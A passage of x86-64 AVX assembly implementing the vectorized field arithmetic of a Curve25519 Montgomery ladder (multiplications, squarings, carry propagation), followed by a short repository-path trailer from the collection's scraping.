%xmm7,%xmm8,%xmm15 vpunpckhqdq %xmm7,%xmm8,%xmm7 vpaddq subc2(%rip),%xmm7,%xmm8 psubq %xmm15,%xmm8 paddq %xmm7,%xmm15 vpunpckhqdq %xmm15,%xmm8,%xmm7 punpcklqdq %xmm15,%xmm8 movdqa %xmm8,112(%rsp) pmuludq v19_19(%rip),%xmm8 movdqa %xmm8,160(%rsp) vpmuludq 112(%rsp),%xmm10,%xmm8 vpmuludq %xmm7,%xmm10,%xmm10 vpmuludq v38_38(%rip),%xmm7,%xmm15 vpmuludq %xmm15,%xmm7,%xmm7 paddq %xmm7,%xmm8 vpmuludq %xmm15,%xmm13,%xmm7 paddq %xmm7,%xmm3 vpmuludq %xmm15,%xmm2,%xmm7 paddq %xmm7,%xmm11 vpmuludq 80(%rsp),%xmm13,%xmm7 paddq %xmm7,%xmm7 paddq %xmm7,%xmm8 vpmuludq 16(%rsp),%xmm13,%xmm7 paddq %xmm7,%xmm5 vpmuludq 48(%rsp),%xmm13,%xmm7 paddq %xmm7,%xmm0 vpmuludq 112(%rsp),%xmm13,%xmm7 paddq %xmm7,%xmm10 vpmuludq %xmm15,%xmm6,%xmm7 paddq %xmm7,%xmm12 vpmuludq %xmm15,%xmm4,%xmm7 paddq %xmm7,%xmm9 vpaddq %xmm2,%xmm2,%xmm2 vpmuludq %xmm4,%xmm2,%xmm7 paddq %xmm7,%xmm5 vpmuludq 160(%rsp),%xmm2,%xmm7 paddq %xmm7,%xmm3 vpmuludq 160(%rsp),%xmm6,%xmm7 paddq %xmm7,%xmm11 vpmuludq 0(%rsp),%xmm2,%xmm7 paddq %xmm7,%xmm0 vpmuludq 48(%rsp),%xmm2,%xmm7 paddq %xmm7,%xmm8 vpmuludq 80(%rsp),%xmm2,%xmm2 paddq %xmm2,%xmm10 vpmuludq 96(%rsp),%xmm4,%xmm2 paddq %xmm2,%xmm11 vpmuludq %xmm4,%xmm4,%xmm2 paddq %xmm2,%xmm8 vpaddq %xmm4,%xmm4,%xmm2 vpmuludq 160(%rsp),%xmm2,%xmm4 paddq %xmm4,%xmm12 vpmuludq 16(%rsp),%xmm15,%xmm4 paddq %xmm4,%xmm1 vpmuludq 48(%rsp),%xmm15,%xmm4 paddq %xmm4,%xmm14 vpmuludq 96(%rsp),%xmm6,%xmm4 paddq %xmm4,%xmm3 movdqa 16(%rsp),%xmm4 pmuludq 160(%rsp),%xmm4 paddq %xmm4,%xmm9 vpmuludq 16(%rsp),%xmm6,%xmm4 paddq %xmm4,%xmm8 vpmuludq 48(%rsp),%xmm6,%xmm4 paddq %xmm4,%xmm10 vpmuludq 80(%rsp),%xmm15,%xmm4 paddq %xmm4,%xmm4 paddq %xmm4,%xmm5 vpmuludq 112(%rsp),%xmm15,%xmm4 paddq %xmm4,%xmm0 movdqa 48(%rsp),%xmm4 paddq %xmm4,%xmm4 pmuludq 160(%rsp),%xmm4 paddq %xmm4,%xmm1 movdqa 80(%rsp),%xmm4 paddq %xmm4,%xmm4 pmuludq 160(%rsp),%xmm4 paddq %xmm4,%xmm14 vpmuludq 64(%rsp),%xmm2,%xmm4 paddq %xmm4,%xmm3 movdqa 16(%rsp),%xmm4 pmuludq 64(%rsp),%xmm4 paddq %xmm4,%xmm11 movdqa 16(%rsp),%xmm4 pmuludq 96(%rsp),%xmm4 paddq %xmm4,%xmm12 movdqa 48(%rsp),%xmm4 pmuludq 96(%rsp),%xmm4 paddq %xmm4,%xmm9 vpmuludq 0(%rsp),%xmm2,%xmm2 paddq %xmm2,%xmm10 movdqa 32(%rsp),%xmm2 pmuludq 0(%rsp),%xmm2 paddq %xmm2,%xmm3 movdqa 64(%rsp),%xmm2 pmuludq 48(%rsp),%xmm2 paddq %xmm2,%xmm12 movdqa 96(%rsp),%xmm2 pmuludq 80(%rsp),%xmm2 paddq %xmm2,%xmm1 movdqa 160(%rsp),%xmm2 pmuludq 112(%rsp),%xmm2 paddq %xmm2,%xmm5 vpsrlq $26,%xmm3,%xmm2 paddq %xmm2,%xmm11 pand m26(%rip),%xmm3 vpsrlq $25,%xmm14,%xmm2 paddq %xmm2,%xmm5 pand m25(%rip),%xmm14 vpsrlq $25,%xmm11,%xmm2 paddq %xmm2,%xmm12 pand m25(%rip),%xmm11 vpsrlq $26,%xmm5,%xmm2 paddq %xmm2,%xmm0 pand m26(%rip),%xmm5 vpsrlq $26,%xmm12,%xmm2 paddq %xmm2,%xmm9 pand m26(%rip),%xmm12 vpsrlq $25,%xmm0,%xmm2 paddq %xmm2,%xmm8 pand m25(%rip),%xmm0 vpsrlq $25,%xmm9,%xmm2 paddq %xmm2,%xmm1 pand m25(%rip),%xmm9 vpsrlq $26,%xmm8,%xmm2 paddq %xmm2,%xmm10 pand m26(%rip),%xmm8 vpsrlq $26,%xmm1,%xmm2 paddq %xmm2,%xmm14 pand m26(%rip),%xmm1 vpsrlq $25,%xmm10,%xmm2 vpsllq $4,%xmm2,%xmm4 paddq %xmm2,%xmm3 psllq $1,%xmm2 paddq %xmm2,%xmm4 paddq %xmm4,%xmm3 pand m25(%rip),%xmm10 vpsrlq $25,%xmm14,%xmm2 paddq %xmm2,%xmm5 pand m25(%rip),%xmm14 vpsrlq $26,%xmm3,%xmm2 paddq %xmm2,%xmm11 pand m26(%rip),%xmm3 vpunpckhqdq %xmm11,%xmm3,%xmm2 movdqa %xmm2,0(%rsp) vpunpcklqdq %xmm11,%xmm3,%xmm2 pmuludq v9_9(%rip),%xmm2 movdqa %xmm2,80(%rsp) vpunpckhqdq %xmm9,%xmm12,%xmm2 movdqa %xmm2,16(%rsp) vpunpcklqdq %xmm9,%xmm12,%xmm2 pmuludq v9_9(%rip),%xmm2 movdqa %xmm2,96(%rsp) vpunpckhqdq %xmm14,%xmm1,%xmm2 movdqa %xmm2,32(%rsp) vpunpcklqdq %xmm14,%xmm1,%xmm1 pmuludq v9_9(%rip),%xmm1 movdqa %xmm1,112(%rsp) vpunpckhqdq %xmm0,%xmm5,%xmm1 movdqa %xmm1,48(%rsp) vpunpcklqdq %xmm0,%xmm5,%xmm0 pmuludq v9_9(%rip),%xmm0 movdqa %xmm0,160(%rsp) vpunpckhqdq %xmm10,%xmm8,%xmm0 movdqa %xmm0,64(%rsp) vpunpcklqdq %xmm10,%xmm8,%xmm0 pmuludq v9_9(%rip),%xmm0 movdqa %xmm0,208(%rsp) movdqa 144(%rsp),%xmm0 vpmuludq %xmm0,%xmm0,%xmm1 paddq %xmm0,%xmm0 movdqa 128(%rsp),%xmm2 vpmuludq %xmm2,%xmm0,%xmm3 movdqa 192(%rsp),%xmm4 vpmuludq %xmm4,%xmm0,%xmm5 movdqa 176(%rsp),%xmm6 vpmuludq %xmm6,%xmm0,%xmm7 movdqa 240(%rsp),%xmm8 vpmuludq %xmm8,%xmm0,%xmm9 vpmuludq 224(%rsp),%xmm0,%xmm10 vpmuludq 304(%rsp),%xmm0,%xmm11 vpmuludq 288(%rsp),%xmm0,%xmm12 vpmuludq 336(%rsp),%xmm0,%xmm13 movdqa 384(%rsp),%xmm14 vpmuludq %xmm14,%xmm0,%xmm0 vpmuludq v38_38(%rip),%xmm14,%xmm15 vpmuludq %xmm15,%xmm14,%xmm14 paddq %xmm14,%xmm13 vpaddq %xmm6,%xmm6,%xmm14 vpmuludq %xmm14,%xmm6,%xmm6 paddq %xmm6,%xmm11 vpaddq %xmm2,%xmm2,%xmm6 vpmuludq %xmm6,%xmm2,%xmm2 paddq %xmm2,%xmm5 vpmuludq %xmm15,%xmm6,%xmm2 paddq %xmm2,%xmm1 vpmuludq %xmm15,%xmm4,%xmm2 paddq %xmm2,%xmm3 vpmuludq 256(%rsp),%xmm6,%xmm2 paddq %xmm2,%xmm11 vpmuludq 304(%rsp),%xmm6,%xmm2 paddq %xmm2,%xmm12 vpmuludq 352(%rsp),%xmm6,%xmm2 paddq %xmm2,%xmm13 vpmuludq 336(%rsp),%xmm6,%xmm2 paddq %xmm2,%xmm0 vpmuludq %xmm4,%xmm6,%xmm2 paddq %xmm2,%xmm7 vpmuludq %xmm14,%xmm6,%xmm2 paddq %xmm2,%xmm9 vpmuludq %xmm8,%xmm6,%xmm2 paddq %xmm2,%xmm10 vpmuludq %xmm15,%xmm14,%xmm2 paddq %xmm2,%xmm5 vpmuludq %xmm15,%xmm8,%xmm2 paddq %xmm2,%xmm7 vpmuludq %xmm4,%xmm4,%xmm2 paddq %xmm2,%xmm9 vpmuludq %xmm14,%xmm4,%xmm2 paddq %xmm2,%xmm10 vpaddq %xmm4,%xmm4,%xmm2 vpmuludq %xmm8,%xmm2,%xmm4 paddq %xmm4,%xmm11 vpmuludq 400(%rsp),%xmm2,%xmm4 paddq %xmm4,%xmm1 vpmuludq 400(%rsp),%xmm14,%xmm4 paddq %xmm4,%xmm3 vpmuludq 224(%rsp),%xmm2,%xmm4 paddq %xmm4,%xmm12 vpmuludq 304(%rsp),%xmm2,%xmm4 paddq %xmm4,%xmm13 vpmuludq 288(%rsp),%xmm2,%xmm2 paddq %xmm2,%xmm0 vpmuludq 368(%rsp),%xmm8,%xmm2 paddq %xmm2,%xmm3 vpmuludq %xmm8,%xmm14,%xmm2 paddq %xmm2,%xmm12 vpmuludq %xmm8,%xmm8,%xmm2 paddq %xmm2,%xmm13 vpaddq %xmm8,%xmm8,%xmm2 vpmuludq 400(%rsp),%xmm2,%xmm4 paddq %xmm4,%xmm5 vpmuludq 256(%rsp),%xmm15,%xmm4 paddq %xmm4,%xmm9 vpmuludq 304(%rsp),%xmm15,%xmm4 paddq %xmm4,%xmm10 vpmuludq 368(%rsp),%xmm14,%xmm4 paddq %xmm4,%xmm1 movdqa 256(%rsp),%xmm4 pmuludq 400(%rsp),%xmm4 paddq %xmm4,%xmm7 vpmuludq 256(%rsp),%xmm14,%xmm4 paddq %xmm4,%xmm13 vpmuludq 304(%rsp),%xmm14,%xmm4 paddq %xmm4,%xmm0 vpmuludq 352(%rsp),%xmm15,%xmm4 paddq %xmm4,%xmm11 vpmuludq 336(%rsp),%xmm15,%xmm4 paddq %xmm4,%xmm12 movdqa 304(%rsp),%xmm4 paddq %xmm4,%xmm4 pmuludq 400(%rsp),%xmm4 paddq %xmm4,%xmm9 vpmuludq 320(%rsp),%xmm2,%xmm4 paddq %xmm4,%xmm1 movdqa 256(%rsp),%xmm4 pmuludq 320(%rsp),%xmm4 paddq %xmm4,%xmm3 movdqa 256(%rsp),%xmm4 pmuludq 368(%rsp),%xmm4 paddq %xmm4,%xmm5 movdqa 304(%rsp),%xmm4 pmuludq 368(%rsp),%xmm4 paddq %xmm4,%xmm7 movdqa 352(%rsp),%xmm4 pmuludq 400(%rsp),%xmm4 paddq %xmm4,%xmm10 vpmuludq 224(%rsp),%xmm2,%xmm2 paddq %xmm2,%xmm0 movdqa 272(%rsp),%xmm2 pmuludq 224(%rsp),%xmm2 paddq %xmm2,%xmm1 movdqa 320(%rsp),%xmm2 pmuludq 304(%rsp),%xmm2 paddq %xmm2,%xmm5 movdqa 368(%rsp),%xmm2 pmuludq 288(%rsp),%xmm2 paddq %xmm2,%xmm9 movdqa 400(%rsp),%xmm2 pmuludq 336(%rsp),%xmm2 paddq %xmm2,%xmm11 vpsrlq $26,%xmm1,%xmm2 paddq %xmm2,%xmm3 pand m26(%rip),%xmm1 vpsrlq $25,%xmm10,%xmm2 paddq %xmm2,%xmm11 pand m25(%rip),%xmm10 vpsrlq $25,%xmm3,%xmm2 paddq %xmm2,%xmm5 pand m25(%rip),%xmm3 vpsrlq $26,%xmm11,%xmm2 paddq %xmm2,%xmm12 pand m26(%rip),%xmm11 vpsrlq $26,%xmm5,%xmm2 paddq %xmm2,%xmm7 pand m26(%rip),%xmm5 vpsrlq $25,%xmm12,%xmm2 paddq %xmm2,%xmm13 pand m25(%rip),%xmm12 vpsrlq $25,%xmm7,%xmm2 paddq %xmm2,%xmm9 pand m25(%rip),%xmm7 vpsrlq $26,%xmm13,%xmm2 paddq %xmm2,%xmm0 pand m26(%rip),%xmm13 vpsrlq $26,%xmm9,%xmm2 paddq %xmm2,%xmm10 pand m26(%rip),%xmm9 vpsrlq $25,%xmm0,%xmm2 vpsllq $4,%xmm2,%xmm4 paddq %xmm2,%xmm1 psllq $1,%xmm2 paddq %xmm2,%xmm4 paddq %xmm4,%xmm1 pand m25(%rip),%xmm0 vpsrlq $25,%xmm10,%xmm2 paddq %xmm2,%xmm11 pand m25(%rip),%xmm10 vpsrlq $26,%xmm1,%xmm2 paddq %xmm2,%xmm3 pand m26(%rip),%xmm1 vpunpckhqdq %xmm3,%xmm1,%xmm2 vpunpcklqdq %xmm3,%xmm1,%xmm1 movdqa %xmm1,176(%rsp) vpaddq subc0(%rip),%xmm2,%xmm3 psubq %xmm1,%xmm3 vpunpckhqdq %xmm3,%xmm2,%xmm1 vpunpcklqdq %xmm3,%xmm2,%xmm2 movdqa %xmm2,192(%rsp) movdqa %xmm1,224(%rsp) psllq $1,%xmm1 movdqa %xmm1,240(%rsp) pmuludq v121666_121666(%rip),%xmm3 movdqa 80(%rsp),%xmm1 vpunpcklqdq %xmm1,%xmm3,%xmm2 vpunpckhqdq %xmm1,%xmm3,%xmm1 vpunpckhqdq %xmm7,%xmm5,%xmm3 vpunpcklqdq %xmm7,%xmm5,%xmm4 movdqa %xmm4,256(%rsp) vpaddq subc2(%rip),%xmm3,%xmm5 psubq %xmm4,%xmm5 vpunpckhqdq %xmm5,%xmm3,%xmm4 vpunpcklqdq %xmm5,%xmm3,%xmm3 movdqa %xmm3,272(%rsp) movdqa %xmm4,288(%rsp) psllq $1,%xmm4 movdqa %xmm4,304(%rsp) pmuludq v121666_121666(%rip),%xmm5 movdqa 96(%rsp),%xmm3 vpunpcklqdq %xmm3,%xmm5,%xmm4 vpunpckhqdq %xmm3,%xmm5,%xmm3 vpunpckhqdq %xmm10,%xmm9,%xmm5 vpunpcklqdq %xmm10,%xmm9,%xmm6 movdqa %xmm6,320(%rsp) vpaddq subc2(%rip),%xmm5,%xmm7 psubq %xmm6,%xmm7 vpunpckhqdq %xmm7,%xmm5,%xmm6 vpunpcklqdq %xmm7,%xmm5,%xmm5 movdqa %xmm5,336(%rsp) movdqa %xmm6,352(%rsp) psllq $1,%xmm6 movdqa %xmm6,368(%rsp) pmuludq v121666_121666(%rip),%xmm7 movdqa 112(%rsp),%xmm5 vpunpcklqdq %xmm5,%xmm7,%xmm6 vpunpckhqdq %xmm5,%xmm7,%xmm5 vpunpckhqdq %xmm12,%xmm11,%xmm7 vpunpcklqdq %xmm12,%xmm11,%xmm8 movdqa %xmm8,384(%rsp) vpaddq subc2(%rip),%xmm7,%xmm9 psubq %xmm8,%xmm9 vpunpckhqdq %xmm9,%xmm7,%xmm8 vpunpcklqdq %xmm9,%xmm7,%xmm7 movdqa %xmm7,400(%rsp) movdqa %xmm8,416(%rsp) psllq $1,%xmm8 movdqa %xmm8,432(%rsp) pmuludq v121666_121666(%rip),%xmm9 movdqa 160(%rsp),%xmm7 vpunpcklqdq %xmm7,%xmm9,%xmm8 vpunpckhqdq %xmm7,%xmm9,%xmm7 vpunpckhqdq %xmm0,%xmm13,%xmm9 vpunpcklqdq %xmm0,%xmm13,%xmm0 movdqa %xmm0,160(%rsp) vpaddq subc2(%rip),%xmm9,%xmm10 psubq %xmm0,%xmm10 vpunpckhqdq %xmm10,%xmm9,%xmm0 vpunpcklqdq %xmm10,%xmm9,%xmm9 movdqa %xmm9,448(%rsp) movdqa %xmm0,464(%rsp) psllq $1,%xmm0 movdqa %xmm0,480(%rsp) pmuludq v121666_121666(%rip),%xmm10 movdqa 208(%rsp),%xmm0 vpunpcklqdq %xmm0,%xmm10,%xmm9 vpunpckhqdq %xmm0,%xmm10,%xmm0 vpsrlq $26,%xmm2,%xmm10 paddq %xmm10,%xmm1 pand m26(%rip),%xmm2 vpsrlq $25,%xmm5,%xmm10 paddq %xmm10,%xmm8 pand m25(%rip),%xmm5 vpsrlq $25,%xmm1,%xmm10 paddq %xmm10,%xmm4 pand m25(%rip),%xmm1 vpsrlq $26,%xmm8,%xmm10 paddq %xmm10,%xmm7 pand m26(%rip),%xmm8 vpsrlq $26,%xmm4,%xmm10 paddq %xmm10,%xmm3 pand m26(%rip),%xmm4 vpsrlq $25,%xmm7,%xmm10 paddq %xmm10,%xmm9 pand m25(%rip),%xmm7 vpsrlq $25,%xmm3,%xmm10 paddq %xmm10,%xmm6 pand m25(%rip),%xmm3 vpsrlq $26,%xmm9,%xmm10 paddq %xmm10,%xmm0 pand m26(%rip),%xmm9 vpsrlq $26,%xmm6,%xmm10 paddq %xmm10,%xmm5 pand m26(%rip),%xmm6 vpsrlq $25,%xmm0,%xmm10 vpsllq $4,%xmm10,%xmm11 paddq %xmm10,%xmm2 psllq $1,%xmm10 paddq %xmm10,%xmm11 paddq %xmm11,%xmm2 pand m25(%rip),%xmm0 vpsrlq $25,%xmm5,%xmm10 paddq %xmm10,%xmm8 pand m25(%rip),%xmm5 vpsrlq $26,%xmm2,%xmm10 paddq %xmm10,%xmm1 pand m26(%rip),%xmm2 vpunpckhqdq %xmm1,%xmm2,%xmm10 movdqa %xmm10,80(%rsp) vpunpcklqdq %xmm1,%xmm2,%xmm1 vpunpckhqdq %xmm3,%xmm4,%xmm2 movdqa %xmm2,96(%rsp) vpunpcklqdq %xmm3,%xmm4,%xmm2 vpunpckhqdq %xmm5,%xmm6,%xmm3 movdqa %xmm3,112(%rsp) vpunpcklqdq %xmm5,%xmm6,%xmm3 vpunpckhqdq %xmm7,%xmm8,%xmm4 movdqa %xmm4,128(%rsp) vpunpcklqdq %xmm7,%xmm8,%xmm4 vpunpckhqdq %xmm0,%xmm9,%xmm5 movdqa %xmm5,144(%rsp) vpunpcklqdq %xmm0,%xmm9,%xmm0 movdqa 176(%rsp),%xmm5 paddq %xmm5,%xmm1 vpunpcklqdq %xmm1,%xmm5,%xmm6 vpunpckhqdq %xmm1,%xmm5,%xmm1 vpmuludq 224(%rsp),%xmm6,%xmm5 vpmuludq 192(%rsp),%xmm1,%xmm7 paddq %xmm7,%xmm5 vpmuludq 272(%rsp),%xmm6,%xmm7 vpmuludq 240(%rsp),%xmm1,%xmm8 paddq %xmm8,%xmm7 vpmuludq 288(%rsp),%xmm6,%xmm8 vpmuludq 272(%rsp),%xmm1,%xmm9 paddq %xmm9,%xmm8 vpmuludq 336(%rsp),%xmm6,%xmm9 vpmuludq 304(%rsp),%xmm1,%xmm10 paddq %xmm10,%xmm9 vpmuludq 352(%rsp),%xmm6,%xmm10 vpmuludq 336(%rsp),%xmm1,%xmm11 paddq %xmm11,%xmm10 vpmuludq 400(%rsp),%xmm6,%xmm11 vpmuludq 368(%rsp),%xmm1,%xmm12 paddq %xmm12,%xmm11 vpmuludq 416(%rsp),%xmm6,%xmm12 vpmuludq 400(%rsp),%xmm1,%xmm13 paddq %xmm13,%xmm12 vpmuludq 448(%rsp),%xmm6,%xmm13 vpmuludq 432(%rsp),%xmm1,%xmm14 paddq %xmm14,%xmm13 vpmuludq 464(%rsp),%xmm6,%xmm14 vpmuludq 448(%rsp),%xmm1,%xmm15 paddq %xmm15,%xmm14 vpmuludq 192(%rsp),%xmm6,%xmm6 pmuludq v19_19(%rip),%xmm1 vpmuludq 480(%rsp),%xmm1,%xmm1 paddq %xmm1,%xmm6 movdqa 256(%rsp),%xmm1 paddq %xmm1,%xmm2 vpunpcklqdq %xmm2,%xmm1,%xmm15 vpunpckhqdq %xmm2,%xmm1,%xmm1 vpmuludq 192(%rsp),%xmm15,%xmm2 paddq %xmm2,%xmm7 vpmuludq 224(%rsp),%xmm15,%xmm2 paddq %xmm2,%xmm8 vpmuludq 272(%rsp),%xmm15,%xmm2 paddq %xmm2,%xmm9 vpmuludq 288(%rsp),%xmm15,%xmm2 paddq %xmm2,%xmm10 vpmuludq 336(%rsp),%xmm15,%xmm2 paddq %xmm2,%xmm11 vpmuludq 352(%rsp),%xmm15,%xmm2 paddq %xmm2,%xmm12 vpmuludq 400(%rsp),%xmm15,%xmm2 paddq %xmm2,%xmm13 vpmuludq 416(%rsp),%xmm15,%xmm2 paddq %xmm2,%xmm14 pmuludq v19_19(%rip),%xmm15 vpmuludq 448(%rsp),%xmm15,%xmm2 paddq %xmm2,%xmm6 pmuludq 464(%rsp),%xmm15 paddq %xmm15,%xmm5 vpmuludq 192(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm8 vpmuludq 240(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm9 vpmuludq 272(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm10 vpmuludq 304(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm11 vpmuludq 336(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm12 vpmuludq 368(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm13 vpmuludq 400(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm14 pmuludq v19_19(%rip),%xmm1 vpmuludq 432(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm6 vpmuludq 448(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm5 pmuludq 480(%rsp),%xmm1 paddq %xmm1,%xmm7 movdqa 320(%rsp),%xmm1 paddq %xmm1,%xmm3 vpunpcklqdq %xmm3,%xmm1,%xmm2 vpunpckhqdq %xmm3,%xmm1,%xmm1 vpmuludq 192(%rsp),%xmm2,%xmm3 paddq %xmm3,%xmm9 vpmuludq 224(%rsp),%xmm2,%xmm3 paddq %xmm3,%xmm10 vpmuludq 272(%rsp),%xmm2,%xmm3 paddq %xmm3,%xmm11 vpmuludq 288(%rsp),%xmm2,%xmm3 paddq %xmm3,%xmm12 vpmuludq 336(%rsp),%xmm2,%xmm3 paddq %xmm3,%xmm13 vpmuludq 352(%rsp),%xmm2,%xmm3 paddq %xmm3,%xmm14 pmuludq v19_19(%rip),%xmm2 vpmuludq 400(%rsp),%xmm2,%xmm3 paddq %xmm3,%xmm6 vpmuludq 416(%rsp),%xmm2,%xmm3 paddq %xmm3,%xmm5 vpmuludq 448(%rsp),%xmm2,%xmm3 paddq %xmm3,%xmm7 pmuludq 464(%rsp),%xmm2 paddq %xmm2,%xmm8 vpmuludq 192(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm10 vpmuludq 240(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm11 vpmuludq 272(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm12 vpmuludq 304(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm13 vpmuludq 336(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm14 pmuludq v19_19(%rip),%xmm1 vpmuludq 368(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm6 vpmuludq 400(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm5 vpmuludq 432(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm7 vpmuludq 448(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm8 pmuludq 480(%rsp),%xmm1 paddq %xmm1,%xmm9 movdqa 384(%rsp),%xmm1 paddq %xmm1,%xmm4 vpunpcklqdq %xmm4,%xmm1,%xmm2 vpunpckhqdq %xmm4,%xmm1,%xmm1 vpmuludq 192(%rsp),%xmm2,%xmm3 paddq %xmm3,%xmm11 vpmuludq 224(%rsp),%xmm2,%xmm3 paddq %xmm3,%xmm12 vpmuludq 272(%rsp),%xmm2,%xmm3 paddq %xmm3,%xmm13 vpmuludq 288(%rsp),%xmm2,%xmm3 paddq %xmm3,%xmm14 pmuludq v19_19(%rip),%xmm2 vpmuludq 336(%rsp),%xmm2,%xmm3 paddq %xmm3,%xmm6 vpmuludq 352(%rsp),%xmm2,%xmm3 paddq %xmm3,%xmm5 vpmuludq 400(%rsp),%xmm2,%xmm3 paddq %xmm3,%xmm7 vpmuludq 416(%rsp),%xmm2,%xmm3 paddq %xmm3,%xmm8 vpmuludq 448(%rsp),%xmm2,%xmm3 paddq %xmm3,%xmm9 pmuludq 464(%rsp),%xmm2 paddq %xmm2,%xmm10 vpmuludq 192(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm12 vpmuludq 240(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm13 vpmuludq 272(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm14 pmuludq v19_19(%rip),%xmm1 vpmuludq 304(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm6 vpmuludq 336(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm5 vpmuludq 368(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm7 vpmuludq 400(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm8 vpmuludq 432(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm9 vpmuludq 448(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm10 pmuludq 480(%rsp),%xmm1 paddq %xmm1,%xmm11 movdqa 160(%rsp),%xmm1 paddq %xmm1,%xmm0 vpunpcklqdq %xmm0,%xmm1,%xmm2 vpunpckhqdq %xmm0,%xmm1,%xmm0 vpmuludq 192(%rsp),%xmm2,%xmm1 paddq %xmm1,%xmm13 vpmuludq 224(%rsp),%xmm2,%xmm1 paddq %xmm1,%xmm14 pmuludq v19_19(%rip),%xmm2 vpmuludq 272(%rsp),%xmm2,%xmm1 paddq %xmm1,%xmm6 vpmuludq 288(%rsp),%xmm2,%xmm1 paddq %xmm1,%xmm5 vpmuludq 336(%rsp),%xmm2,%xmm1 paddq %xmm1,%xmm7 vpmuludq 352(%rsp),%xmm2,%xmm1 paddq %xmm1,%xmm8 vpmuludq 400(%rsp),%xmm2,%xmm1 paddq %xmm1,%xmm9 vpmuludq 416(%rsp),%xmm2,%xmm1 paddq %xmm1,%xmm10 vpmuludq 448(%rsp),%xmm2,%xmm1 paddq %xmm1,%xmm11 pmuludq 464(%rsp),%xmm2 paddq %xmm2,%xmm12 vpmuludq 192(%rsp),%xmm0,%xmm1 paddq %xmm1,%xmm14 pmuludq v19_19(%rip),%xmm0 vpmuludq 240(%rsp),%xmm0,%xmm1 paddq %xmm1,%xmm6 vpmuludq 272(%rsp),%xmm0,%xmm1 paddq %xmm1,%xmm5 vpmuludq 304(%rsp),%xmm0,%xmm1 paddq %xmm1,%xmm7 vpmuludq 336(%rsp),%xmm0,%xmm1 paddq %xmm1,%xmm8 vpmuludq 368(%rsp),%xmm0,%xmm1 paddq %xmm1,%xmm9 vpmuludq 400(%rsp),%xmm0,%xmm1 paddq %xmm1,%xmm10 vpmuludq 432(%rsp),%xmm0,%xmm1 paddq %xmm1,%xmm11 vpmuludq 448(%rsp),%xmm0,%xmm1 paddq %xmm1,%xmm12 pmuludq 480(%rsp),%xmm0 paddq %xmm0,%xmm13 vpsrlq $26,%xmm6,%xmm0 paddq %xmm0,%xmm5 pand m26(%rip),%xmm6 vpsrlq $25,%xmm10,%xmm0 paddq %xmm0,%xmm11 pand m25(%rip),%xmm10 vpsrlq $25,%xmm5,%xmm0 paddq %xmm0,%xmm7 pand m25(%rip),%xmm5 vpsrlq $26,%xmm11,%xmm0 paddq %xmm0,%xmm12 pand m26(%rip),%xmm11 vpsrlq $26,%xmm7,%xmm0 paddq %xmm0,%xmm8 pand m26(%rip),%xmm7 vpsrlq $25,%xmm12,%xmm0 paddq %xmm0,%xmm13 pand m25(%rip),%xmm12 vpsrlq $25,%xmm8,%xmm0 paddq %xmm0,%xmm9 pand m25(%rip),%xmm8 vpsrlq $26,%xmm13,%xmm0 paddq %xmm0,%xmm14 pand m26(%rip),%xmm13 vpsrlq $26,%xmm9,%xmm0 paddq %xmm0,%xmm10 pand m26(%rip),%xmm9 vpsrlq $25,%xmm14,%xmm0 vpsllq $4,%xmm0,%xmm1 paddq %xmm0,%xmm6 psllq $1,%xmm0 paddq %xmm0,%xmm1 paddq %xmm1,%xmm6 pand m25(%rip),%xmm14 vpsrlq $25,%xmm10,%xmm0 paddq %xmm0,%xmm11 pand m25(%rip),%xmm10 vpsrlq $26,%xmm6,%xmm0 paddq %xmm0,%xmm5 pand m26(%rip),%xmm6 vpunpckhqdq %xmm5,%xmm6,%xmm1 vpunpcklqdq %xmm5,%xmm6,%xmm0 vpunpckhqdq %xmm8,%xmm7,%xmm3 vpunpcklqdq %xmm8,%xmm7,%xmm2 vpunpckhqdq %xmm10,%xmm9,%xmm5 vpunpcklqdq %xmm10,%xmm9,%xmm4 vpunpckhqdq %xmm12,%xmm11,%xmm7 vpunpcklqdq %xmm12,%xmm11,%xmm6 vpunpckhqdq %xmm14,%xmm13,%xmm9 vpunpcklqdq %xmm14,%xmm13,%xmm8 cmp $0,%rdx jne ._ladder_base_loop movdqu %xmm1,80(%rdi) movdqu %xmm0,0(%rdi) movdqu %xmm3,96(%rdi) movdqu %xmm2,16(%rdi) movdqu %xmm5,112(%rdi) movdqu %xmm4,32(%rdi) movdqu %xmm7,128(%rdi) movdqu %xmm6,48(%rdi) movdqu %xmm9,144(%rdi) movdqu %xmm8,64(%rdi) movq 1536(%rsp),%r11 movq 1544(%rsp),%r12 movq 1552(%rsp),%r13 add %r11,%rsp ret #endif

29jm/SnowflakeOS

2,413

kernel/src/boot/boot.S

